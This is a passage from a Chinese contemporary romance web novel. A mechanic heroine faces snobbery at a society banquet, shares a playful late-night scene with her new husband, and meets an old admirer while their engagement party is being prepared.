易雯溪象征性地?抬手摸了摸易年的?额头,有?些?嫌弃地?睨着他:“体温明?明?正常,怎么还会这么烧!” “易年,我到今天才知道,你居然?这么舔啊!”李若尔鄙夷道。 易年凌厉的?目光看向李若尔:“李若尔,我说你能不能消停点,别有?事没事就来骚扰夏树好吗!” 被莫名扣上罪名,李若尔当然?不乐意了:“我看你这脑子里除了粉红泡泡以外,水也装了不少吧!你哪只眼睛看见我骚扰她了!说句话都?不行,那你干脆把人捂家里,别带出来啊!” 眼看着易年和李若尔剑拔弩张,夏树赶忙拽了拽易年的?手臂,仰着下巴瞪他,脸颊微微泛红:“谁说我要去?找男模了,她就是跟我打声招呼,你别在这无中生?有?!” 夏树有?时候觉得易年这脑子是真的?好使?,考虑事情面面俱到,但此刻这种情况,他真的?像没带脑子一般。 不过她快速带入易年的?视角,倒也能理解他的?言行。毕竟李若尔追了易年这么多年,上次还把她带到男模店去?,他对李若尔产生?应激反应在所难免。 易雯溪见气氛不妙,给夏树使?了个让她安抚易年的?眼色,然?后邀李若尔先过去?,并让夏树待会儿再来找她。 夏树扯着易年的?西装下摆,把他往会场角落的?过道拉,易年丝毫不介意旁人的?目光,任由夏树像提溜小?狗似的?牵着他。 她先开口解释:“真不是你想的?那样,我跟李若尔什么都?没发生?,就只是单纯打招呼。” 说完这话,总觉得哪里怪怪的?……这一般不都?是小?情侣中一方跟异性接触过密,被另一方逮个正着,解释时候才会说的?话吗! 易年下巴微抬,不冷不淡地?垂眼看她:“你今后离她远点,最好别跟她有?什么往来!” “?”夏树不敢恭维地?蹙眉,“不是你说让我结识人脉吗?不是你说让我编织自己的?社交圈子吗?” 易年抬手想掐一下夏树的?脸,又怕把她的?妆弄花,就只拎了拎她的?耳朵:“任何人都?可?以,她不行!” “嘶,”夏树一把打掉易年的?手,“怎么就不行了!” “首先,她玩的?太?花,你跟她做朋友,你会被她带坏的?!”易年一字一句,讲得格外真切,“而且,她之前追我那么久,你俩现在算是情敌吧!你是心有?多大,得有?多不在乎我,才会跟情敌做朋友!” 明?明?李若尔上次就已?经?将话讲明?,放弃易年了,他还在这里自作多情。夏树心里虽明?白易年不会在乎李若尔,但他对李若尔言行过度关注的?反应,竟让夏树莫名不爽。 正巧不远处一个男人叫了声易总,同时向她和易年两走过来。 夏树趁易年看那男人的?间隙往前跨了一步准备离开。 “你现在怎么一身爹味啊,我的?什么事你都?想管!”- 夏树找到易雯溪,易雯溪和李若尔坐在一桌几乎只有?女人的?席间,两人中间给夏树空出一个位置,夏树向黎卓打了招呼后便坐下。 对于这张精致却陌生?的?面孔,不少人投来欣赏的?目光,其中一位女士礼貌问道:“这位是哪家的?归国千金吗?怎么看着面生?。” “她是我弟妹,叫夏树,小?两口刚领证。”易雯溪说。 夏树顺势向那位女士介绍了自己的?名字。 对于易年突然?结婚的?消息,众人皆是震惊,圈子里的?人之前听说过易年接手酒庄后被催婚,大家都?以为他的?结婚对象会是李若尔,毕竟两家是算是世交,并且李若尔喜欢易年这事人人都?有?所耳闻。 看着夏树坐在李若尔旁边,所有?人虽保持着名媛贵妇该有?的?微笑姿态,眼神却妙不可?言。 有?的?是在打量夏树,好奇她的?来头,有?的?看向李若尔,眼底似乎带着幸灾乐祸。 成为众人焦点,夏树觉得不自在,刚好一个侍酒师过来为她斟酒,她便把座椅向后挪了些?。 桌子是长方型的?,她只要稍稍向后移,就可?以避开很多人的?目光,至于面前几个,这么近的?距离,还当着易雯溪的?面,也不会一直盯着夏树看。 “行了,张婧雅,别瞪我了,反正现在不是你,也不是我!”李若尔皱着眉,毫不遮掩目光中的?不悦与不耐烦,朝斜对面那女人说完,又对夏树说,“那边戴FENDI发箍那个,之前也喜欢易年,不过我是明?着来,她是阴着来。” 李若尔的?音量并未收敛,话音才落,包括夏树在内的?所有人脸上或多或少都挂着难堪,坐在主位上的?黎卓适时邀大家品尝今天的甜品。 张婧雅脸上闪过几不可?查的?觖然?,收敛视线,当做无事发生?端着仪态叉起一块巴斯克蛋糕。 黎卓端着酒杯面对夏树:“来,夏树,我敬你一个,祝你新婚快乐!上次青龙湖比赛见过没多久,就听雯溪说你和易年已?经?修成正果了,恭喜了!” 夏树端起酒杯隔空和黎卓碰了一下,脸上噙着笑:“谢谢卓姐!” “这么说,夏小?姐和易总是闪婚的??”张婧雅终于忍不住问。 夏树身体往前探,耐着性子礼貌回答:“算是吧。” “这样啊。”张婧雅似懂非懂地点了点头,神色错杂,“还真是没想到呢。” 李若尔脑袋一偏,怼了过去:“人家是同学,是初恋,你我比不了。” 张婧雅没搭理李若尔,反而继续追问夏树:“那你们是大学同学?在国外认识的??” 夏树:“没有?,高中同学。” 易雯溪突然?插了话:“我弟可?是暗恋了夏树整整十年呢,前不久才终于追到手,所以之前拒绝别人不是因?为谁不好,只是他心里已?经?有?人了。” 此话一出,引起一阵小?小?的?骚动,大家的?话术差不多,都?在说没想到易年居然?这么长情。 张婧雅眸色微暗,仍保持淑女微笑:“这样啊,那夏小?姐读的?是哪所大学呢?方便问现在是在家当全职太?太?,还是做着什么工作吗?” 从李若尔口中得知张婧雅曾经?对易年动过心思后,虽然?张婧雅脸上的?笑容从未消散过,但夏树总感觉对方跟她说话时总是带着些?微攻击性。 这不间断的?提问,更是让她觉得不自在。 夏树无奈清了清嗓,正准备回应,易雯溪又抢先一步回答:“夏树现在是我易家的?人了,当然?在自己家里帮忙了。” 易雯溪的?回答,像是在替夏树解围,甚至可?以说是遮掩,至于遮掩什么……夏树想起一开始易年和易雯溪说过,夏树交给她了,想来易年是提前和易雯溪打过招呼,如果夏树遇到不好回答的?问题,就让易雯溪替她解释。 可?,夏树本身并不觉得自己的?背景有?什么不可?说的?,她想,以及被打听到在背后议论,那不如直接当着大家的?面说清楚自己的?背景,毕竟如果今后真要借这个圈子拉人脉,她能拿得出手的?就只有?真诚了。 于是,她将椅子移到前面,面对张婧雅,坦然?道:“我上的?是离阳市高级职业技术学校,汽修专业,也就是大家熟知的?汽修师,之前自己开过一个汽修厂,现在和蓝韵酒庄合作名车精洗。” 话音刚落,张婧雅终是失去?了表情管理,脸上毫无感情的?笑意消散:“什么?技术学校?汽修工?修车的??” 夏树微笑点头:“是的?,不仅仅是修车,关于车子的?一切,我们几乎都?能做。” 周遭贵女们的?脸上再次惊现诧异,但夏树反而觉得舒坦多了。 易雯溪靠近夏树,低声道:“夏树,其实你不用什么都?给她们交代清楚的?。” “是不是会影响易家的?名声?”夏树突然?反应过来。 易雯溪:“那倒不是,只是这些?人个个笑面虎,我怕你察觉到她们一些?奇奇怪怪的?眼神会不舒服。” “那没事,姐姐,反正我说的?也是事实,我不会在乎别人对我的?看法的?。” “这我还真没想到啊,职业技术学校毕业,夏小?姐,居然?这么……厉害!”片刻后,张婧雅又恢复了那副皮笑肉不笑的?嘴脸。 “张婧雅,你这夹枪带棒的?,有?意思吗!”李若尔身体往前探,挡在夏树面前,“你是什么学历?留学归国硕士?骗骗自己就行了,你跟我不都?是国内野鸡大学毕业,跑去?国外读一年水硕镀金,有?什么好炫耀的?!要说真本事,你还不如夏树呢。” 张婧雅脸都?被气绿了,还未开口,李若尔又说,“别解释,我都?懂,因?为我和你一样,也是绿茶呢!” 大家好像对李若尔和张婧雅的?不对付已?经?习以为常,气氛虽然?有?些?尴尬,但也没人愿意做和事佬。 当事人夏树只能默默吞下这口气,要是放在平时她高低得嘴她几句,可?这种场合之下,她也不想给易年添麻烦,况且李若尔已?经?替她说了。 原来夏树只觉得李若尔骄纵强势,现在她对她的?印象完全改观。 还别说,李若尔这样直截了当开怼的?,听着就是爽。 主坐的?黎卓对此只是稍显无奈地?摇摇头,随后道:“我们国家现在技术人才紧缺,本科生?一抓一大把,很多大学毕业都?找不到合适的?工作,并且技术人才薪资也不低,对吧,夏树?” 黎卓并为对夏树的?职业产生?好奇,想必之前易雯溪已?经?和她提过。 夏树谦虚道:“差不多吧,像是汽修师,多劳多得,收入虽比不上在座有?产业的?各位,但只要肯干,确实比一般上班族要高些?。” 贵女的?话题经?黎卓一引,纷纷探讨起国内的?就业大环境,说着说着,又延伸到各家的?生?意都?不好做,黎卓便说这个局的?其中一个目的?是想听听各位有?什么好的?投资项目。 大家的?话题夏树越来越听不懂,她只能结合易年这段时间教她的?一些?关键词去?揣摩,然?后附和着点点头。 这时,李若尔敲了敲她的?手臂约她一起上卫生?间。 才离开席面,四?下无人,李若尔面色如常说了实话:“虽然?我是个镀金的?水硕,但你这技校的?大专学历也确实挺……配不上易年的?。” 从李若尔的?话里,夏树没听出看不起她的?意思,这话悄无声息往她心里钻,她却云淡风轻地?笑笑:“刚刚谢谢你啊,替我说话,那个张婧雅脾气也挺好,你那么说了,她都?不生?气。” “她就爱装呗,装好脾气装淑女,估计气炸了吧!”李若尔得意道,“不过你也不必特地?感谢我,就当我是爱屋及乌!” “爱屋及乌?”夏树反应了一下,“你不是说你不喜欢易年了,当我面说这个,你真不怕我跟你干仗啊?” 李若尔满不在乎地?瞥她:“得瑟什么!喜欢一个人这么多年,你真觉得说放就能马上放?我其实跟他一样,只不过他运气比我好,等到了他想要的?,至于我,只要你还在喘着气,估计没法圆满了。” 夏树觉得她说的?有?道理,但是心里很不爽,竟生?出了要宣示主权的?念头。 话游荡在嘴边几秒,最后还是说了出来:“劝你别等了,我死了他也不一定会看上别人。” 第55章 回家的?路上,车厢里飘溢着?清淡的?酒味。 易家还未公布易年?结婚喜讯,订婚宴的?请柬也正在制作中,除了家人以外,无人知晓他已经结婚。 所?以在宴会上,众人第一次得之夏树和易年?的?关系后,易年?被不?少人敬酒,后来连夏树也免不?了去到易年?旁边陪着?。 夏树喝得不?算少,酒精上头,回想起李若尔说还放下易年?,还有席间张婧雅看她的?眼神,越想越不?舒坦。 李若尔就算了,她喜欢易年?那是她眼光好,可那莫名?其妙的?张婧雅,明明知道易年?已经结婚了,还东问西问,像是问到什么破绽自?己就能找到突破口一样。 烦人! 所?以,她一路没和易年?搭话,只是低头看着?手机,行程过半,胃开始反抗,干呕了几下。 “晕车就别玩手机了,”易年?说,“到底看什么呢,这么出神,一路上连话也不?跟我说。” 夏树侧头看他一眼,他的?领带被扯松,衬衣解开了两颗扣子,喝过酒的?缘故,他的?眼底染上几分溃散,脖颈微微泛红。 “没什么,”夏树顺手拿了瓶矿泉水给他,语气有些敷衍,“你喝点水,睡会儿吧,到家我叫你。” 说完,她便继续翻着?手机,时不?时撮着?嘴,时不?时轻皱眉。 “到底看什么好东西呢!”说着?,易年?欠身靠近夏树,想瞟一眼她的?屏幕。 夏树下意识将屏幕贴近衣物,并伸手挡住易年?的?眼睛:“跟你没关系!” 易年?的?好奇心被激了起来,长睫上下扫动,直戳夏树的?手心,叹了声气,嘴里哼着?歌:“我看透她的?心~演的?全是他的?她的?电影~她的?回忆,清除得不?够干~净。” 哼歌过程中,他把夏树的?手从眼睛上拿开,唱完了喝,像是要划清界限似的?,把她的?手放回她膝盖上,继续道,“玩完咯,我老婆心里没我,当着?我的?面跟别人聊得火热!哎,我这可怎么办啊,才?二十五岁,今后几十年?可怎么过!” 易年?的?表情和语气实在是做作,夏树怎么看怎么不?顺眼。 “你犯病了?唱的?难听死了,”想想也没什么好藏着?掖着?的?,她便直接把屏幕亮在易年?面前,“看看看,看!自?己拿着?看去!” 易年?微笑着?捏捏她的?脸,满意地接过手机,读着?搜索页面的?关键词:“成?人专升本?要读几年?……” “你打算考本?科?” 夏树瘪瘪了嘴,翻了个白眼:“跟你出来,我这个大专技工学历,别人都看不?起,我不?得研究一下,读书升学历,好配得?*上你。”- 回到家,夏树还是对易年?爱搭不?理?,她洗着?澡,听见易年?打电话问了易雯溪晚宴上发?生的?所?有事。 洗完澡,打开浴室门,易年?站在门口,瘪了瘪嘴,夏树以为他要说点什么,结果他什么都没说,直接侧身进了浴室。 夏树:“……” 这种情况下,即便晚宴上没发?生什么大不?了的?事,他好歹也该发?表点感言吧! 夏树嘟着?唇,气鼓鼓地睨了浴室门一眼,直接钻进被窝刷手机。 不?多时,浴室水声停下来,她迅速把手机连上充电器装睡,接着?只听见易年?进进出出弄出了些动静,却迟迟没有上床。 两分钟后,夏树感觉眼前的?灯光暗了些,同?时易年?含糊不?清的?声音响起:“我知道你没睡。”像是嘴里有什么东西。 她就当没听见,继续闭着?眼睛装睡。 时间分秒流走。 “喂!你睁开眼睛看看。”他说,“午夜限定猛男,过时不?候!” 一听见猛男两个字,夏树脑袋“嗡”地响了一声。 咳咳,确实有点好奇。 她先是扭动身子翻了个身,伸了个懒腰才?开始睁眼睛。 她缓缓看向他,喉咙里溢出声:“我都睡着?了,你烦不?——” 最后一个“烦”字还没说出口,看见易年?的?模样,她下巴差点掉到床底下! 眼前这个男人,穿了条剪裁流畅的?西裤,双腿分开坐在一个椅子上,上半身光着?,脖间系着?领带,领带的?末端,被他衔在嘴里。 夏树颤颤巍巍从床上坐了起来,手足无措地把枕头抱在怀里:“你、你、你、你要干嘛?!” 易年?不?知从哪里弄来了个红色灯球,关了卧室灯,按下灯球开关,卧室瞬间被星星点点的?红色灯光铺满。 “上!才?!艺!”他的?声音含含糊糊,眼神也有些闪烁,“只有灯光,没有音乐,你将就着?看看!” 紧接着?,他将右手手掌贴近锁骨,五指分开,缓慢地从上自?摸到下,胸膛还像波浪似的?起伏着?,直到手碰到裤腰带才?停下。 夏树手边没有镜子,不?然照一照静子,绝对能看见她脸上百分百复刻地铁看手机老人的?那个嫌弃表情。 易年?右手比划完,正要抽左手完成?同?样的?动作,夏树想都没想,把怀里的?枕头砸向他:“靠!你恶不?恶心!” 说完,她站起来,脚下像是踩了指压板一样来回动个不停,“啊啊啊啊啊啊啊啊,我的?眼睛不?干净了!啊啊啊啊啊啊!” 易年呆呆抱着枕头怔愣片刻,眉头一挤,嘴巴一撅,随着?枕头一起砸在了床上,生无可恋道:“让我安静地死一会儿……” 真?的?有够社死! 那些男模跳的恶心玩意儿,他想着?夏树今天受了委屈,要是她实在喜欢,那就豁出去了,跳给她看,让她开心开心! 从准备这些的?时候,心脏就突突直跳,光是空系领带还咬在嘴里这一点,思想斗争了好久才?做到,右手摸上自?己锁骨那一刻,晚上喝的?酒差点没恶心地吐出来,手掌向下自?摸的?时候,指尖都在发?颤。 结果,人家不?但不?喜欢,还嫌弃…… 呜…… 易年?突然倒在床上,夏树差点没踩到他的?头。 她扣紧脚趾扶着?床头站了十多秒,易年?还没动静,她踢了踢他的?手肘:“你,干嘛?” “我已经死了,别跟我说话。”易年?瓮声瓮气道。 房间里的?红灯实在晃眼,夏树蹲下来趴在床上按了开关,又打开了卧室灯。 好家伙,易年?的?耳朵到整个后背都是红的?,活像只熟透了的?澳洲大龙虾。 她从没见过他这个肤色。 来不?及多想,她赶紧揪着?他的?头发?,把他额头露出来,试了试体温。 正常偏高。 “你是发?烧了还是酒精过敏,身上怎么这么红!” 易年?的?头发?还在被揪着?,头皮和眉骨发?紧,语调不?带一丝感情:“我觉得,你可以先把手松开。” “哦,抱歉抱歉!”夏树松开手,易年?的?脑袋又陷进枕头里,她关切道,“你到底怎么了,有没有哪里不?舒服?” “有,哪哪都不?舒服!” “啊?那怎么办,家里有能吃的?药吗?还是现在直接上医院。” 易年?平静道:“没事!人在尴尬、害羞、狼狈、难堪时,大脑皮质接收到信息会刺激肾上腺素分泌,血管会暂时性扩张,死不?了人的?。” 夏树:这……他居然,害羞了??? 她想笑,真?的?很想笑,但还是忍住了。 他都羞成?熟虾了,再笑他,多少有点不?厚道。 “没事没事,”她拍拍他的?背,安慰道,“刚刚跳的?很好的?,我只是……睡迷糊了,一时没反应过来。” “要不?,你再跳一遍,我好好欣赏欣赏,完了给你点赞,给你五星好评!” 易年?仍旧生无可恋:“别哄我了,我知道你没睡着?!” “哎,我就想豁出去了逗某人开心,结果人家还嫌弃我恶心,没事的?,别管我,大概眼泪流干了就能好了。” “别嘛,我刚刚真?的?没准备好,我现在准备好了,你再跳一次,我可喜欢看了!” 易年?突然直起身来,扯了扯悬空的?领带:“撒谎都不?会!刚刚谁说恶心来着?,才?过了几分钟啊,现在就喜欢上了?!” 夏树压着?嘴角的?笑意,一把拽过他的?领带,勒令的?语气:“跳不?跳!?” 易年?的?身子被拽往前,与夏树相隔不?远,他夺过领带顺势把脸往前凑:“不?跳!我刚刚说过了,过时不?候!” 两人的?距离被拉近,夏树能清晰感受到他的?鼻息,酒意还未完全消散,莫名?紧张起来,心跳加速。 她做了个吞咽的?动作,晃动着?眼波,嘴皮仍在较劲:“小气鬼,你到底跳不?跳!不?跳不?让你上床了!” 易年?脸上和身上的?红温消退了些,他眉目慵懒地与她对视,暧昧不?明的?气息在两人面前拼命攀升。 几秒后,易年?玩味地勾了勾唇,伸手按了主灯开关,只留下床头微弱的?暖黄色氛围灯。 他的?双手撑在夏树两侧,上身慢慢向她逼近:“我就不?跳!而且,我现在已经在床上了,你能拿我怎么样!” 夏树原本?是斜坐的?姿势,在对方持续进攻下,她身子后移,退无可退,最后整个人倒在了床上。 “你起开!” 她双手抵着?易年?的?胸膛,想把他推开,可对方似乎因?她的?手碰上了他的?胸膛,越发?兴奋,死死地鼓着?胸肌。 他垂眼看向夏树的?手,呼吸变得粗砺,眼中尽是强势的?占有欲,他低声道:“不?是说恶心吗,怎么还舍不?得放手了!” 酒精放大了夏树的?感官,越是这种时候,她越不?想认怂。 她指尖用力,狠狠掐着?他的?胸口:“劝你,最好,别惹我!” “嘶——”尖锐的?指甲嵌进皮肤,易年?眉眼挤到了一起,却也不?退让,反而更加用力,“你真?下得去手啊。” “还是说,你有什么特殊的?癖好,觉得摸不?过瘾,非要用力掐才?能兴奋!” “……你好变态,我好喜欢!” 第56章 变、变态???!!! 确实,能逼疯夏树的,只?有贱嗖嗖的易年。 不想被继续当变态,她指尖卸了力,手掌从易年胸膛离开,局促地平放在小腹之上。 瞟了眼?他胸前深浅不一的指印,这看?上去就很疼啊,也挺佩服他,还能骚得起来。 不过有一说一,这指印所在的位置,确实看?上去挺“刺激”的…… 她鄙夷地皱着眉:“你怕不是喝到假酒了,台风都没你浪!” 对易年来说,夏树这话并?不具备杀伤力,他眼?底拢着深欲,轻勾唇角:“还劝我别惹你!你刚刚放的话,还你为你厉害呢,就这?连人都不会骂了?” “……”夏树静默几秒,奋力在脑子里组织怼他的话术。 “那?你的癖好?是什么?,是不是好?声?好?气跟你说话你觉得不刺激,非要我骂你几句才过瘾?” “你好?变态,但我,”夏树在床上晃动脑袋,“不!喜!欢!” 夏树说完最后三个字,易年眼?眸沉了两秒,紧接着忽地欺身而下,双唇对准夏树的唇瓣,在触碰到的瞬间,转为咬住她的下唇。 “疼——”嘤咛的声?音从夏树喉咙间溢出。 易年咬的不算重,但是嘴皮上嫩肉压根经不起蹂躏。她双手下意?识托着易年的腰,想把他推开。 至少?过了六七秒,易年才松了牙齿。 “不准再说,那?几个字!”他眼?底微红,直勾勾凝视着夏树,恳求的语气。 夏树心里反倒窃喜,原来拿捏他这么?简单! 她装作听不明白,故意?清了清嗓:“什么?,不准说哪几个字?” 易年眉头皱得更深了。 夏树挑眉,语调稍显得意?:“不、喜、欢?” “你还敢说!?” “略略略~”夏树吐了吐舌,像个复读机似的,说话气都不喘,“不喜欢不喜欢不喜欢不喜欢不喜欢不喜欢……” 易年终究还是拿她没有办法,再加上她的手放在自己的腰间,掌心的那?股热气慢慢顺着皮肤向下游移,冲到顶峰…… ……这种时候没反应的话,还算个男人吗! 但是,又能这么?样,现在名不正言不顺的,还是只?能缴械投降。 他直起身子,顺着床沿瘫跪在了地上,取了脖子上真?空的领带,拉过夏树的一只?手,在手背上落下一个轻吻:“就不能现在就答应我吗?做我女朋友!” 他在心里盘算着,她只?要一答应,立马扑上去,把她浑身上下都亲一边,绝对不遗留任何地方。绝对! 身上的男人离开,夏树像是绵羊脱离虎口一般,终于松了口气。 她也坐了起来,才发现自己的双手在颤抖,双腿也在发软,手心甚至已经起了一层薄汗。 易年问她能不能做他女朋友这话已经快把耳朵磨出茧了,正经不正经时总喜欢冒出一句,所以她并?未当回事。 她的手还被易年牵着,她想挣脱擦擦汗,易年却不松手,反而死皮赖脸地将脑袋放在了她腿上。 “你这里是什么??” 他肩峰靠后的位置,有两个不太规则的靛蓝色四边形。 “纹身吗?” 纹身的位置靠后,之前他在她面前光着上半身,从正面看?过去根本?瞧不见,此刻,她才第一次见。 说着,她伸出食指轻轻摸了下,那?一块皮肤似乎还有点?轻微凸起。 “嗯。”他懒懒答。 “你纹的什么??我怎么?都看?不出来。” 易年直起头来仰视着她:“想知道的话,答应做我女朋友,我就告诉你!” 夏树无语地揉了揉眉心,手机在这时候响起。 易年帮她拔了充电器递过来,她看?着号码,稍稍失神,随后接起电话。 “妈。”- 电话里,李桂云倒是没说什么?,就只?说她从夏林那?里得知夏树的汽修厂关了,又问夏树现在搬到哪里,住在哪里,夏树只?字未提易年,只?说了个蓝韵酒庄的地址,随后母女两生?硬极简地寒暄几句,就挂了电话。 在接通电话的时候,夏树心里猜测这一通电话的目的,是不是想要钱,是不是想让她为家里再作什么?“贡献”,但是李桂云只?字未提,夏树反而有些?说不上来的落差感。 跟易年在一起这些?时日,她感受过太多太多的美好?,潜意?识里已经将原来那?些?不太好?的事从心里挤了出去。毕竟能幸福地生?活的话,谁也不想一直留在禁锢中。 夏林无意?中说起过,从夏树离开家以后,头两年的中秋节和春节,李桂云还会谁念叨着要不打个电话给夏树,让她回去过节,可?夏永富总是一口回绝,后来李桂云便也不说了,也没给她打过电话。 她知道,她身上的这股倔劲不是后天形成的,是与生?俱来的,是血脉里带着的。 所以,注定了没有人会服软,她不会,她的父母也不会。 她不知道李桂云这通电话的目的,但是心里竟然生?出些?期待,期待她向她开口,比如?,开口要点?钱。 “别看?了。”易年把她的手机接过去,重新充上电,手指把她一边嘴角向上推,“笑起来更漂亮。” 夏树轻轻牵着唇角嗯了声?,易年也从地上起来去穿上衣,两人默契地都没有提刚刚那通电话。 再回到床上时,他摸了摸夏树的头顶:“睡吧,明天我把读书的方案给你看?,具体的方式你来选。” “读书?” “你不是想专升本?吗,我之前已经替你研究过了,专业什么?的你自己选就行了,其他的不用管。” “哦。”夏树再一次被易年的面面俱到所触动,她知道他做事绝对可?以信任,便没盘问细节,只?说了谢谢。 静默片刻,她玩笑补充,“你脑子这么?好?使,我真?觉得跟你在一起时间长了,我肯定会丧失很多生?活能力。” “也,没有吧,”易年说,“就像升学历这个,你想要学历,我是能帮你,但是你想要知识,就只?能靠你自己学!” “那?也是。”夏树笑笑,眼?睛盯着天花板画地图,“读个本?科,读个研,再加上你这个商业精英给我开小灶,难说今后还能当个女企业家,想想就美。” “嗯,是挺美的!”察觉话语有歧义,易年又补充,“我说的不是你想得美,是这个想法挺美好?,能实现的话更美好?!那?样我今后就什么?都不干了,你负责赚钱养家和貌美如?花,我就负责当好?你身后的男人,努力把舞跳好?,跳到你不嫌弃的程度!” “不然我这张脸在外招摇过市,你也不放心。” “是吧!” 夏树偏头睇他:正经不了几分钟又开始浪了! 她懒得搭理她,掰着手指算日子:“也没多少?天了,等忙完订婚宴,我就开始读书,说干就干。”- 订婚宴设在蓝韵酒庄内,请的宾客不多,除了夏树的干爹干妈周雨唯父母,只?有易家的一些?亲戚和至交,不过提前两天蓝韵便停止对外营业,开始布置场地。 中午吃过饭,要和订婚宴场控管家对接相关流程,夏树交代徒弟们顾好?洗车间,便前往宴会厅。 此前在酒庄内,并?未公开过她和易年的关系,正值午休,不少?行政岗位的员工都闻声?来“散步消食”,想看?看?自家老板娘是何许人也。 路上,夏树遇到了财务张姐和其他几个没见过的女员工,她在蓝韵几乎没和其他部门的人打过交道,工作都和易年主力何铭对接,张姐算是唯一一个说过几次话的人。 “夏经理,你也要去宴会厅啊?”张姐问。 也? 夏树此刻还不明白张姐的意?图,她笑着答:“是的张姐。” 八卦总能拉近女人与女人之间的距离,张姐走到夏树旁边,低声?道:“也不知道咱们老板娘是谁,之前从没见过也没听说过对方的消息,易总这突然上任了就说要订婚,明明接任仪式上老易总才放话让易总赶紧结婚,没想到这么?快就有合适人选了。” 旁边一位女同事附和:“这么?快的速度,估计是商业联姻吧。” “难说是李家小姐,她不是跟易总走得挺近吗,老易总上次也说了,她最合适!” “嗯,分析的很有道理。” …… 当事人在旁边差点?走成顺拐,此刻正处八卦谈论中心,总不能跳出来说一句“别猜了,是我”。 闲聊着八卦,一行人很快就到了宴会厅,夏树才知道,她们都是来看?自己的。 夏树:“……” 她怕待会儿在同事面前身份揭晓后她们会尴尬,便借口说要上卫生?间,拉开与几人的距离,跑到一个不起眼?的角落窝着。 整个宴会厅的装饰全是中式基调,到处都有大红色的元素点?缀,看?上去,很喜庆。 舞台上还未完全布置好?,夏树看?着布场的管家身型有点?眼?熟,打开手机摄像头拉近焦距一看?,果然是她的师兄杨子毅。 之前在李泽和陈艺敏的婚礼上见过后,他隔三差五会发条信息约夏树吃饭,或是说给夏树介绍生?意?。 她要不直接不回,要不隔几天才回说自己太忙,没看?见信息。 知道他所在的婚庆公司是离阳市数一数二的婚庆公司,可?怎么?就这么?巧,偏偏是他来负责订婚宴…… 夏树按了按突突直跳的太阳穴,总不会是易年故意?找他来的吧,不就见过一次,虽然那?次杨子毅对她的反应有点?明显,但易总应该没这么?无聊吧…… 她垂头戳了几下手机,给易年发了信息:【你什么?时候到宴会厅?】 她想着如?果直接问的话,又会让醋精易年觉得她是不是过分关注杨子毅,就干脆等他过来当做不经意?问起。 门口动静引了宴会厅内所有人的注意?力,夏树看?过去,一群人抬着一个红色巨幅屏风进?来,上面两个鎏金大字,“易”、“夏”。 杨子毅上前指挥着众人,一转身,视线就与角落里的夏树撞了个正着。 “夏树!”杨子毅兴冲冲叫她,“你怎么?在这啊!” 夏树礼貌笑笑没说话。 杨子毅超她走过来,看?见她身上蓝韵酒庄的工作服,拍了下脑门,“哦,我之前看?保钦元发朋友圈,说你们换地方了,跟什么?山庄合作,不会就是……” “嗯,师兄,我们是和蓝韵合作了。” 杨子毅起初笑意?有些?僵硬,随后想到什么?,脸上欢悦起来:“也是,你跟这里的易总是同学,有合作也正常。既然这么?巧遇上了,不如?晚上一起吃个饭吧。” “饭肯定是要吃的。”易年清润的声?音在两人不远处响起。 先?前视线被屏风吸引,后来又顾着和杨子毅说话,夏树并?未察觉到易年已将进?入宴会厅。 “易总你来啦!”杨子毅闻声?朝易年走,伸出右手,“恭喜易总订婚!还要感谢易总留下了我的名片,专门照顾我的业务!” 夏树:???还真?是他??! 第57章 原来学校里男生?多女生?稀缺,碰到一个漂亮的,肯定是男生?宿舍的荤玩笑和意?淫的集中对象。 杨子毅虽然是典型的学渣,是大多数人口中的混混,不?过?人长得帅,混得不?错,声名在?外,不?乏本校或外校的女生?告白,所以并未有闲心去主动?关注女生?。 一开始他听舍友们聊起?夏树,对她的评价大致是那个新生?人长得好看,就是太瘦了,估计不?好睡。 后来夏树为?了帮本班一个被其他班男生?霸凌的男同学出头,跑去其他班把欺负那男同学的人痛扁了一顿,对方见他是娇小女生?不?好还手,夏树因此得了个处分,光荣事?迹传遍了学校。 后来男生?宿舍对她的评价变为?这女的太虎了,不?敢睡不?敢睡。 杨子毅这才对她起?了兴趣。 工作后,杨子毅身上的棱角被磨平了些,刚巧夏树实习是他带,相?处中觉得这小姑娘是真不?错,长得好看不?说,又?脏又?累的汽修活,干起?来从不?埋怨,干劲甚至比男的都?足。 大概相?处了一年,杨子毅对夏树表白,那时候夏树心里只有搞钱,对异性完全没有兴趣,甚至觉得情情爱爱是她搞钱路上的绊脚石,所以直截了当拒绝了杨子毅。 好歹曾经是很多女生?关注的对象,杨子毅也是有些骄傲的,自那之后他便没跟夏树提过?表白的事?,两人也默契地保持距离。 后来夏树实习结束,分到了一个不?错的4s店,杨子毅没过?多久就转了行做婚庆。 做婚庆与做汽修不?同,需要与人打交道,几年下来,杨子毅相?较原来更?加世故,为?人处世八面?玲珑,身上早没了傲气。 所以上次再?见到夏树,唤起?了年少轻狂的记忆,对她又?萌生?了些占有的想法,但?是想到易年那天对他的一些眼神,当时他便联络学弟,借口问了保钦元夏树的感情状态,保钦元说她应该是单身吧。 后来给她发信息她不?爱回,杨子毅自然就知道了夏树的意?思,不?过?还是不?死心,想试试。 易年主动?联系他来蓝韵做订婚宴时,他知道了易年的身份,得知女方姓夏时,他有过?短暂的怀疑,不?过?想想这种身份的人恐怕不?会和夏树那样的人结婚。 当今天在?蓝韵见到夏树,夏树说自己现在?和蓝韵合作,他便有九成断定夏树就是易年未婚妻,在?那一瞬间,他彻底打消了对夏树的想法。 肯定是赚钱重要啊,维护好了易年的关系,今后说不?准能靠着他接到更?多订单,而且全是上流社会圈子里的。 这不?比一个对自己爱答不?理的别人的女人重要。 感谢完易年照顾他的业绩,他又?当做无事?发生?似的看向夏树:“师妹,恭喜恭喜,事?业爱情双丰收!” 夏树看着杨子毅的反应有些摸不?着头脑,从他这段时间以来给她发的信息,分明嗅到了些别样的味道,此刻他居然如此坦然地恭喜她,不?太像对她有什?么想法。 怔忡片刻,她皮笑肉不?笑地扯了扯唇。 说易年沉稳吧,但?他对杨子毅的心思几乎都?挂在?了脸上,不?知道杨子毅能不?能看得出来,反正夏树很确定,易年眼里对他带着敌意?。 “来到蓝韵哪有让师兄安排晚饭的道理,”易年说,“上午我手头上有些重要的事?要处理,没时间和夏树请师兄吃饭,师兄不?要介意?。” 说话间,易年走到夏树身旁,伸手揽过?她的肩。 ……还一口一个师兄地叫着,这宣示主权的意?图不?要太明显。 杨子毅脸上笑得真诚:“易总这是哪儿?的话,酒庄给我们准备的工作餐就已经很丰盛了,再?说了,你既然跟着夏树叫我声师兄,就不?必跟我这样见外,能替你们筹备订婚宴,是我的荣幸,还希望你们结婚时候也考虑考虑我们公司。” 